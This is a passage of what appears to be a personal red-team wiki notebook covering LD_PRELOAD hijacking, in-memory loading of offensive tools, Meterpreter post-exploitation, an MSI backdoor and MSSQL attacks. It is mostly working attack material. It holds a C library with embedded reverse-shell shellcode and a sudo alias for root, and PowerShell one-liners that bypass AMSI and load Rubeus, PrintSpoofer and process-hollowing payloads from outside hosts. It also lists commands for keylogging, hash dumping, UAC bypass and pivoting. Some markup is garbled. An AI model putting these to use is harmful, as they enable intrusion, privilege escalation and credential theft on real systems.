&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
